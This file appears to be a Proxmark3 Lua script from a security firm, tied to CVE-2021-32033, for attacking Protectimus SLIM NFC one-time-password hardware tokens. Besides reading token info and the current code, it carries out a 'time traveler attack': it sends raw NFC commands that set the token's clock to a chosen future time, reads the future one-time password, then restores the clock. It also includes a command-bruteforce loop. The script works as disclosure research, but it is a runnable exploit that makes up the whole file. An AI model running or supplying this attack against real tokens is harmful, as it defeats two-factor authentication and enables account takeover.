local cmds = require('commands') local getopt = require('getopt') local lib14a = require('read14a') local utils = require('utils') local ansicolors = require('ansicolors') copyright = '(c) 2021 SySS GmbH' author = 'Matthias Deeg' version = 'v0.8' desc = [[ This script can perform different operations on a Protectimus SLIM NFC hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033) ]] example = [[ -- default script run hf_14a_protectimus_nfc ]] usage = [[ script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00] ]] arguments = [[ -h This help -i Read token info (e.g. firmware version, OTP interval) -r Read the current one-time password (OTP) -t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO) e.g. 2029-01-01T13:37:00+01:00 ]] -- Some globals local DEBUG = false -- the debug flag -- Defined operations local READ_OTP = 1 -- read the one-time password local READ_INFO = 2 -- read the NFC token info local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack -- A debug printout function local function dbg(args) if not DEBUG then return end if type(args) == 'table' then local i = 1 while args[i] do dbg(args[i]) i = i + 1 end else print('###', args) end end -- This is only meant to be used when errors occur local function oops(err) print('ERROR:', err) core.clearCommandBuffer() return nil, err end -- Usage help local function help() print(copyright) print(author) print(version) print(desc) print(ansicolors.cyan .. 'Usage' .. ansicolors.reset) print(usage) print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset) print(arguments) print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset) print(example) end -- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO) function getUnixTime(datetime) -- get time delta regarding Coordinated Universal Time (UTC) local now_local = os.time() local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local))) local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600) -- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS" local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)" local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern) if new_year == nil or new_month == nil or new_day == nil or new_hour == nil or new_minute == nil or new_seconds == nil or new_hour_offset == nil or new_minute_offset == nil then print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" .. " Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" .. " e.g. 2029-01-01T13:37:00+01:00") return nil end -- get the requested datetime as Unix time (UTC) local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset, min = new_minute + minute_offset - new_minute_offset, sec = new_seconds}) return epoch end -- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command function sendRaw(rawdata, options) -- send raw local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + lib14a.ISO14A_COMMAND.ISO14A_RAW + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC local command = Command:newMIX{ cmd = cmds.CMD_HF_ISO14443A_READER, -- arg1 is the defined flags for sending "raw" ISO 14443A package arg1 = flags, -- arg2 contains the length, which is half the length of the ASCII -- string data arg2 = string.len(rawdata) / 2, data = rawdata } return command:sendMIX(options.ignore_response) end -- Read the current one-time password (OTP) function readOTP(show_output) -- read OTP command local cmd = "028603420042" local otp_value = '' if show_output then print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)") end -- send the raw command res, err = sendRaw(cmd , {ignore_response = ignore_response}) if err then lib14a.disconnect() return oops(err) end -- parse the response local cmd_response = Command.parse(res) local len = tonumber(cmd_response.arg1) * 2 local data = string.sub(tostring(cmd_response.data), 0, len - 4) -- check the response if len == 0 then print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP") return nil end if data:sub(0, 8) == "02AA0842" then -- extract the binary-coded decimal (BCD) OTP value from the response for i = 10, #data - 2, 2 do local c = data:sub(i, i) otp_value = otp_value .. c end -- show the output if requested if show_output then print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset) end else print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP") otp_value = nil end return otp_value end -- Read token info function readInfo(show_output) -- read info command local cmd = "0286021010" if show_output then print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info") end -- send the raw command res, err = sendRaw(cmd , {ignore_response = ignore_response}) if err then lib14a.disconnect() return oops(err) end -- parse the response local cmd_response = Command.parse(res) local len = tonumber(cmd_response.arg1) * 2 local data = string.sub(tostring(cmd_response.data), 0, len - 4) -- check the response if len == 0 then print("[-] Error: Could not read the token info") return nil end if data:sub(0, 8) == "02AA0B10" then -- extract the token info from the response local hardware_schema = tonumber(data:sub(11, 12)) local firmware_version_major = tonumber(data:sub(13, 14)) local firmware_version_minor = tonumber(data:sub(13, 14)) local hardware_rtc = tonumber(data:sub(19, 20)) local otp_interval = tonumber(data:sub(23, 24)) local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" .. " Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" .. " Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" .. " Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" .. " OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset -- check hardware real-time clock (RTC) if hardware_rtc == 1 then hardware_rtc = true else hardware_rtc = false end -- check one-time password interval if otp_interval == 0 then otp_interval = '30' elseif otp_interval == 10 then otp_interval = '60' else otp_interval = 'unknown' end if show_output then -- show the token info print(string.format(info, hardware_schema, firmware_version_major, firmware_version_minor, hardware_rtc, otp_interval)) end return otp_interval else print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info") otp_value = nil end return info end -- Bruteforce commands function bruteforceCommands() -- read OTP command local cmd = '' if show_output then print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands") end for n = 0, 255 do cmd = string.format("028602%d%d", n) print(string.format("[+] Send command %s", cmd)) -- send the raw command res, err = sendRaw(cmd , {ignore_response = ignore_response}) if err then lib14a.disconnect() return oops(err) end -- parse the response local cmd_response = Command.parse(res) local len = tonumber(cmd_response.arg1) * 2 local data = string.sub(tostring(cmd_response.data), 0, len - 4) -- check the response if len == 0 then print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response") else print(data) end io.read(1) end end -- Set an arbitrary Unix time (epoch) function setTime(time, otp_interval) -- calculate the two required time variables local time_var1 = math.floor(time / otp_interval) local time_var2 = math.floor(time % otp_interval) -- build the raw command data local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2) -- calculate XOR checksum on data local checksum = 0 for i = 1, #data, 2 do local c = data:sub(i, i + 1) checksum = bit32.bxor(checksum , tonumber(c, 16)) end -- build the complete raw command local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum) print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time)) -- send raw command res, err = sendRaw(cmd , {ignore_response = ignore_response}) if err then lib14a.disconnect() return oops(err) end -- parse the response local cmd_response = Command.parse(res) local len = tonumber(cmd_response.arg1) * 2 local data = string.sub(tostring(cmd_response.data), 0, len - 4) end -- Set the current time function setCurrentTime(otp_interval) -- get the current Unix time (epoch) local current_time = os.time(os.date("*t")) setTime(current_time, otp_interval) end -- Perform a time travel attack for generating a future OTP function timeTravelAttack(datetime_string, otp_interval) if nil == datetime_string then print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given") return nil end -- get the future time as Unix time local future_time = getUnixTime(datetime_string) if nil == future_time then return end -- set the future time setTime(future_time, otp_interval) print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press ") -- while loop do io.read(1) -- read the OTP local otp = readOTP(false) print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " .. ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " .. ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp)) -- reset the current time setCurrentTime(otp_interval) end -- Show a fancy banner function banner() print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" .. "Perform different operations on a Protectimus SLIM NFC hardware token", version)) end -- The main entry point function main(args) local ignore_response = false local no_rats = false local operation = READ_OTP local target_time = nil -- show a fancy banner banner() -- read the parameters for o, a in getopt.getopt(args, 'hirt:b') do if o == 'h' then return help() end if o == 'i' then operation = READ_INFO end if o == 'r' then operation = READ_OTP end if o == 't' then operation = TIME_TRAVELER_ATTACK target_time = a end if o == 'b' then bruteforceCommands() end end -- connect to the TOTP hardware token info, err = lib14a.read(true, no_rats) if err then lib14a.disconnect() return oops(err) end -- show tag info print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid)) -- perform the requested operation if operation == READ_OTP then readOTP(true) elseif operation == READ_INFO then readInfo(true) elseif operation == TIME_TRAVELER_ATTACK then -- read token info and get OTP interval local otp_interval = readInfo(false) if nil == otp_interval then return end -- perform time traveler attack timeTravelAttack(target_time, otp_interval) end -- disconnect lib14a.disconnect() end ------------------------- -- Testing ------------------------- function selftest() DEBUG = true dbg('Performing test') main() dbg('Tests done') end -- Flip the switch here to perform a sanity check. -- It read a nonce in two different ways, as specified in the usage-section if '--test' == args then selftest() else -- Call the main main(args) end